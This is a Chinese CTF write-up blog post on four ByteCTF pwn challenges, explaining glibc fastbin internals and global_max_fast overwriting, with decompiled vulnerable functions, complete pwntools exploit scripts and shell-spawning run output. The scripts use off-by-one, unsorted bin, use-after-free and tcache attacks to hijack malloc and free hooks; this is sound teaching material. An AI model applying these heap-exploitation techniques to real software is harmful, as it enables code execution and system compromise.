Jcxp's blog

通过bytectf学习新的姿势

Word count: 3.3kReading time: 18 min
2019/09/24 Share

前言

今天刚好有空,做了一下前段时间的bytectf的pwn,学到了新的知识点,在note_five这道题中通过对global_max_fast进行覆盖修改,从而修改fastbin大小的范围,然后进行后续利用

源码分析

global_max_fast这个全局变量的作用是用来标志fastbin的大小的阈值,小于这个值的堆块会被认为是fastbin,使用fastbin的相应机制进行管理。看下它的定义:

1
2
3
4
#define set_max_fast(s) \
global_max_fast = (((s) == 0) \
? SMALLBIN_WIDTH : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))
#define get_max_fast() global_max_fast

set_max_fast初始化函数开始是在malloc_init_state调用的,这个宏定义的作用是设置global_max_fast默认值,默认值是0x80。

malloc中对于fastbin的处理很简单,就是找到对应的fastbin的单链表,并从中取出堆块,如果size检查通过就将该堆块返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx); ## 找到对应的单链表
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) ## 检查size
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p; #返回
}
}

free中的fastbin相关的处理源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

...
## 对size进行基本的检查
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
...
## 对next chunk的size进行检查
if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
...

## 获取对应的fastbin index
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);

...

do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
...
p->fd = old2 = old;
}

对于fastbin的free过程主要包括如下:

  1. 对释放的堆块的size进行基本的检查。
  2. 对释放堆块的下一个堆块的size进行基本的检查。
  3. 获取释放堆块所对应的fastbin链表对应的索引。
  4. 检查是否是double free
  5. 释放进单链表。

fastbin的单链表管理是比较简单的,与global_max_fast相关且需要注意的代码则是fastbin所对应的index获取以及index所对应的指针获取的代码,即fastbin_index宏以及fastbin宏,对应代码如下:

1
2
3
4
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])

这两个宏仅仅是利用偏移来定位数组的指针,但是arena所对应的malloc_state中fastbins数组相关的定义为:

1
2
3
mfastbinptr fastbinsY[NFASTBINS]

#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)

如果可以改写global_max_fast为一个较大的值,然后释放一个较大的堆块时,由于fastbins数组空间是有限的,其相对偏移将会往后覆盖,如果释放堆块的size可控,就可实现往fastbins数组(main_arena)后的任意地址写入堆块的地址

pwn

note_five

漏洞分析

edit函数中存在off-by-one漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall sub_A70(__int64 a1, signed int a2, char a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i > a2 )
break;
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
result = buf;
if ( buf == v4 )
break;
*(_BYTE *)(a1 + (signed int)i) = buf; //off-by-one
}
return result;
}

但是程序限制了堆的大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int add()
{
_DWORD *v0; // rax
int v2; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]

printf("idx: ");
v2 = sub_B13();
if ( v2 >= 0 && v2 <= 4 )
{
printf("size: ");
v3 = sub_B13();
if ( v3 > 143 && v3 <= 1024 ) //size
{
qword_202080[v2] = malloc(v3);
v0 = dword_202060;
dword_202060[v2] = v3;
}
else
{
LODWORD(v0) = puts("size error");
}
}
else
{
LODWORD(v0) = puts("idx error");
}
return (signed int)v0;
}

利用思路

  • 通过off-by-oneunsorted bin attack修改global_max_fast使得fastbin可以使用
  • 修改stdout结构体,虽然size被限制为size > 143 && size <= 1024,但是原有的fastbin attack依然可以使用,我们可以利用stderr当中的0xffffffffffffffff进行偏移来伪造size
  • 劫持hook

具体利用流程

  • 首先通过off-by-oneunsorted bin attack进行chunk overlanpping
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x /10gx 0x00005555557570b0-0x10
0x5555557570a0: 0x00000000000000a0 0x00000000000000a0 //chunk1
0x5555557570b0: 0x6161616161616161 0x6161616161616161
0x5555557570c0: 0x6161616161616161 0x6161616161616161
0x5555557570d0: 0x6161616161616161 0x6161616161616161
0x5555557570e0: 0x6161616161616161 0x6161616161616161
pwndbg> x /10gx 0x0000555555757010
0x555555757010: 0x00007ffff7dd1d48 0x00007ffff7dd1d48
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
0x555555757050: 0x0000000000000000 0x0000000000000000
pwndbg> x /10gx 0x0000555555757010-0x10
0x555555757000: 0x0000000000000000 0x00000000000000f1 //chunk0
0x555555757010: 0x00007ffff7dd1d48 0x00007ffff7dd1d48
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000000
pwndbg>
  • 修改global_max_fast的值
    修改前:
1
2
3
4
5
6
pwndbg> x /10gx 0x7ffff7dd37e8
0x7ffff7dd37e8 <free_list>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37f8 <global_max_fast>: 0x0000000000000080 0x0000000000000000 //0x80
0x7ffff7dd3808 <root>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3818 <old_realloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3828 <old_malloc_hook>: 0x0000000000000000 0x0000000000000000

我们通过malloc前一个chunk,伪造的chunkfd会被修改成main_arena的地址

1
2
3
4
5
0x7ffff7dd37e8 <free_list>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd37f8 <global_max_fast>: 0x00007ffff7dd1b78 0x0000000000000000
0x7ffff7dd3808 <root>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3818 <old_realloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3828 <old_malloc_hook>: 0x0000000000000000 0x0000000000000000
  • 然后是伪造一个size,这里用的是_IO_2_1_stderr中的0xffffffffffffffff
1
2
3
4
5
6
pwndbg> x /10gx 0x7ffff7dd25cf
0x7ffff7dd25cf <_IO_2_1_stderr_+143>: 0xffffffffffffff00 0x00000000000000ff
0x7ffff7dd25df <_IO_2_1_stderr_+159>: 0x007ffff7dd166000 0x0000000000000000
0x7ffff7dd25ef <_IO_2_1_stderr_+175>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd25ff <_IO_2_1_stderr_+191>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd260f <_IO_2_1_stderr_+207>: 0x0000000000000000 0x007ffff7dd06e000
  • 通过_IO_2_1_stdout泄露libc的地址,可以参考这篇文章
1
2
3
4
5
6

edit(0, 'b' * 0x41 + p64(0x0fbad1800) + p64(0) * 3 + p8(0) + '\n')
#edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak=%s'%hex(leak))
libc.address=leak-0x3c5600
  • 然后通过__malloc_hook进行hook劫持,这里发现直接修改__malloc_hookone_gadget的地址会失效,于是让__realloc_hookone_gadget,_malloc_hookrealloc+0x13

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#-*- coding: utf-8 -*-

from pwn import *
context.log_level = 'debug'
host, port = "192.168.37.147", "9999"
filename = "./note_five"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc-2.23.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)

def add(idx,size):
p.sendlineafter('choice>> ','1')
p.sendlineafter('idx: ',str(idx))
p.sendlineafter('size: ',str(size))


def edit(idx,content):
p.sendlineafter('choice>> ','2')
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)

def free(idx):
p.sendlineafter('choice>> ','3')
p.sendlineafter('idx: ',str(idx))


global p
p=getConn()


global p
p=getConn()
add(0, 0x98)
add(1, 0x98)
add(2, 0x98)
add(3, 0x98)

free(0)
edit(1, 'a' * 0x90 + p64(0x140) + p8(0xa0))
free(2)

add(0, 0xe8)
#debug([0xb67])
edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(0) + p16(0x37f8 - 0x10) + '\n')
add(4, 0xe8)
free(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p16(0x25cf) + '\n')
add(4, 0xe8)
#debug([0xb67])
add(0, 0xe8)

edit(0, 'b' * 0x41 + p64(0x0fbad1800) + p64(0) * 3 + p8(0) + '\n')
#edit(0, 'b' * 0x41 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0x88) + '\n')
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak=%s'%hex(leak))
libc.address=leak-0x3c5600

log.success('libc.address=0x%x'%libc.address)

free(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc.symbols['_IO_2_1_stdin_'] + 143) + '\n')

add(4, 0xe8)

add(0, 0xe8)

edit(0, '\0' * 0xe1 + p32(0xf1) + '\n')
#0x7ffff7dd1a60
free(4)

edit(1, 'a' * 0x40 + p64(0) + p64(0xf1) + p64(libc.symbols['_IO_2_1_stdin_'] + 376) + '\n')

add(4, 0xe8)
add(0, 0xe8)

edit(0, '\0' * 0xa0 + p64(libc.address + 0x4526a) + p64(libc.symbols['realloc'] + 14) + '\n')

add(0,0xe8)

p.interactive()
#raw_input('1')

运行效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 ✘ ⚙ jcxp@ubuntu  ~/ctf/events/bytedance/note_five  python exp.py
exp.py:61: SyntaxWarning: name 'p' is assigned to before global declaration
global p
[*] '/home/jcxp/ctf/events/bytedance/note_five/note_five'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './note_five': pid 5640
[+] Starting local process './note_five': pid 5642
[+] leak=0x7ffff7dd2600
[+] libc.address=0x7ffff7a0d000
[*] Switching to interactive mode
$ whoami
jcxp
$

其他几个pwnwriteup如下

mulnote

漏洞分析

简单的uaf,虽然使用了Ollvm混淆,但是漏洞点还是比较明显的.

1
2
3
4
5
6
7
void *__fastcall start_routine(void *a1)
{
free((void *)qword_202020[(_QWORD)a1]);
sleep(0xAu); //漏洞点
qword_202020[(_QWORD)a1] = 0LL;
return 0LL;
}

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#-*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'debug'
host, port = "192.168.37.147", "9999"
filename = "./mulnote"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)



def create(size,content):
p.sendlineafter('>','C')
p.sendlineafter('size>',str(size))
p.sendlineafter('note>',content)

def edit(idx,content):
p.sendlineafter('>','E')
p.sendlineafter('index>',str(idx))
p.sendlineafter('note>',content)


def show():
p.sendlineafter('>','S')

def delete(idx):
p.sendlineafter('>','R')
p.sendlineafter('index>',str(idx))


global p

p=getConn()

create(0x90,'aaaa')#0

delete(0)

show()

leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('leak=0x%x'%leak)


libc.address=leak-88-0x10-libc.sym['__malloc_hook']

log.success('libc.address=0x%x'%libc.address)

create(0x60,'bbbb')#1
create(0x60,'cccc')#2
create(0x60,'dddd')#3

delete(1)
delete(2)
delete(1)

create(0x60,p64(libc.sym['__malloc_hook']-0x23))
create(0x60,'fake')
create(0x60,'fake1')


one_gadget=libc.address+0x4526a

create(0x60,'a'*0x13+p64(one_gadget))
#debug([0x15BA])

p.sendlineafter('>','C')
p.sendlineafter('size>','96')
p.interactive()

#raw_input('111')

运行效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 ⚙ jcxp@ubuntu  ~/ctf/events/bytedance/mulnote  python exp.py 
[*] '/home/jcxp/ctf/events/bytedance/mulnote/mulnote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './mulnote': pid 5703
[+] leak=0x7ffff7bb4b78
[+] libc.address=0x7ffff77f0000
[*] Switching to interactive mode
$ whomai
sh: 1: whomai: not found
$ whoami
jcxp
$

mheap

漏洞分析

在这个函数中设置了内存的大小以及位置

1
2
3
4
5
6
7
8
9
10
11
12
13
void *sub_40122D()
{
void *result; // rax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
result = mmap((void *)0x23330000, 0x1000uLL, 3, 34, -1, 0LL);
qword_4040C8 = (__int64)result;
qword_4040C0 = 4096LL;
qword_4040D0 = 0LL;
return result;
}

read函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int64 __fastcall my_read(char *a1, signed int length)
{
__int64 result; // rax
signed int v3; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

v3 = 0;
do
{
result = (unsigned int)v3;
if ( v3 >= length )
break;
v4 = read(0, &a1[v3], length - v3);
if ( !v4 )
exit(0);
v3 += v4;
result = (unsigned __int8)a1[v3 - 1];
}
while ( (_BYTE)result != 10 );
return result;
}

add函数没有限制输入size的大小,可以通过溢出这个0x1000大小的的内存,使read返回-1,当read返回-1时,会向上写入单链表指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall add(unsigned int index)
{
int size; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( index <= 0xF )
{
size = 0;
printf("Input size: ");
__isoc99_scanf("%d", &size);
ptr[index] = malloc_(size);
printf("Content: ", &size);
my_read((char *)ptr[index], size);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#-*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'debug'
host, port = "192.168.37.147", "9999"
filename = "./mheap"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc-2.27.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)



def add(idx,size,content):
p.sendlineafter('choice: ','1')
p.sendlineafter('ndex: ',str(idx))
p.sendlineafter('size: ',str(size))
p.sendafter('Content: ',content)

def show(idx):
p.sendlineafter('choice: ','2')
p.sendlineafter('ndex: ',str(idx))


def edit(idx,content):
p.sendlineafter('choice: ','4')
p.sendlineafter('ndex: ',str(idx))
p.sendline(content)


def free(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('ndex: ',str(idx))

global p
p=getConn()


add(0,0xfb0,'\n')
add(1,0x10,'a'*0x10)
free(1)

add(2,0x50,"b"*0x20+p64(0x20)+p64(0x4040e0)+'b'*0x2f+'\n')
add(1,0x10,"c"*0x10)

debug([0x1686])

add(2,0x23330000,p64(elf.got['atoi'])+'\n')

show(2)
leak=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))

libc_base=leak-libc.sym['atoi']

log.success('libc_base=%s'%hex(libc_base))
system_addr=libc_base+libc.sym['system']

edit(2,p64(system_addr))

p.recvuntil("choice: ")
p.sendline('/bin/sh\x00')
p.interactive()




#raw_input('111')

运行效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

jcxp@ubuntu  ~/ctf/practice/bytedance/mheap  python exp.py
[*] '/home/jcxp/ctf/practice/bytedance/mheap/mheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './mheap': pid 7445
[*] running in new terminal: /usr/bin/gdb -q "./mheap" 7445 -x "/tmp/pwnToXdHQ.gdb"
[+] Waiting for debugger: Done
[+] libc_base=0x7ffff79e4000
[*] Switching to interactive mode
$ whoami
jcxp
$

VIP

漏洞分析

难点在edit函数值,有如下一一个函数

1
2
3
4
5
6
7
8
9
10
11
ssize_t __fastcall sub_4014A8(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]

if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}

可以泄露heaplibc地址,然后爆破修改tcachefd0x4040e0,然后直接攻击free hook

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#-*- coding: utf-8 -*-

from pwn import *
#context.log_level = 'debug'
host, port = "192.168.37.147", "9999"
filename = "./vip"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc

else:
libc = ELF('./libc.so')





context.terminal = ['gnome-terminal', '-x', 'sh', '-c']



def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)


def debug(bp):
script = ""
PIE = get_PIE(p)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
#script += "b * 0x%x\n"%(LIBC+)
gdb.attach(p,gdbscript=script)


def add(idx):
p.sendlineafter('choice: ',str(1))
p.sendlineafter('Index: ',str(idx))


def show(idx):
p.sendlineafter('choice: ',str(2))
p.sendlineafter('Index: ',str(idx))


def free(idx):
p.sendlineafter('choice: ',str(3))
p.sendlineafter('Index: ',str(idx))

def edit(idx,size,content=None):
p.sendlineafter('choice: ',str(4))
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.recvuntil('Content: ')
if content != None:
p.send(content)

global p

p=getConn()


for i in range(10):
add(i)
for i in range(7):
free(i)




#
add(6)

show(6)


heap=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))

log.success('heap=%s'%hex(heap))


free(7)
free(8)

edit(9,'0'*0x400)


for i in range(7):
add(i)
add(7)
show(7)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebcf0

log.success('libc_base=%s'%hex(libc_base))



add(8)
free(0)
free(1)


while True:

edit(2,0x63)
show(2)
data=p.recvuntil('Done!',drop=True)[:-1]
if len(data)!=0x63:
continue
data=u32(data[-3:].ljust(4,'\x00'))
log.success("data = %s"%hex(data))
if (data >> 16) == 0x40:
break

while True:
edit(2,0x62)
show(2)
data=p.recvuntil('Done!',drop=True)[:-1]
if len(data)!=0x63:
continue
data=u32(data[-3:].ljust(4,'\x00'))
log.success("data = %s"%hex(data))
if (data >> 8) == 0x4040:
break


while True:
edit(2,0x61)
show(2)
data=p.recvuntil('Done!',drop=True)[:-1]
if len(data)!=0x63:
continue
data=u32(data[-3:].ljust(4,'\x00'))
log.success("data = %s"%hex(data))
if data == 0x4040e0:
break




add(1)
add(0)

edit(0,1)
debug([0x16e0])
free(2)
free(3)
free_hook = libc_base + libc.symbols['__free_hook']
log.success('free_hook=%s'%hex(free_hook))
system = libc_base + libc.symbols['system']

edit(4,0x68,'a'*0x60+p64(free_hook))


add(3)
edit(3,8,'/bin/sh\x00')

add(2)

edit(2,8,p64(system))

free(3)

p.interactive()

raw_input('111')

运行效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[+] data = 0x404013
[+] data = 0x404089
[+] data = 0x40404f
[+] data = 0x404062
[+] data = 0x40400d
[+] data = 0x40401b
[+] data = 0x4040dd
[+] data = 0x4040b5
[+] data = 0x40400b
[+] data = 0x40408f
[+] data = 0x40409d
[+] data = 0x40402e
[+] data = 0x404040
[+] data = 0x404098
[+] data = 0x4040f4
[+] data = 0x4040e0
[*] running in new terminal: /usr/bin/gdb -q "./vip" 7563 -x "/tmp/pwnJxjvTy.gdb"
[+] Waiting for debugger: Done
[+] free_hook=0x7ffff7dd18e8
[*] Switching to interactive mode
$ whoami
jcxp
CATALOG
  1. 1. 前言
  2. 2. 源码分析
  3. 3. pwn
    1. 3.1. note_five
      1. 3.1.1. 漏洞分析
      2. 3.1.2. 利用思路
      3. 3.1.3. 具体利用流程
      4. 3.1.4. 完整脚本
      5. 3.1.5. 运行效果
    2. 3.2. mulnote
      1. 3.2.1. 漏洞分析
      2. 3.2.2. 完整脚本
      3. 3.2.3. 运行效果
    3. 3.3. mheap
      1. 3.3.1. 漏洞分析
      2. 3.3.2. 完整脚本
      3. 3.3.3. 运行效果
    4. 3.4. VIP
    5. 3.5. 漏洞分析
      1. 3.5.1. 完整脚本
      2. 3.5.2. 运行效果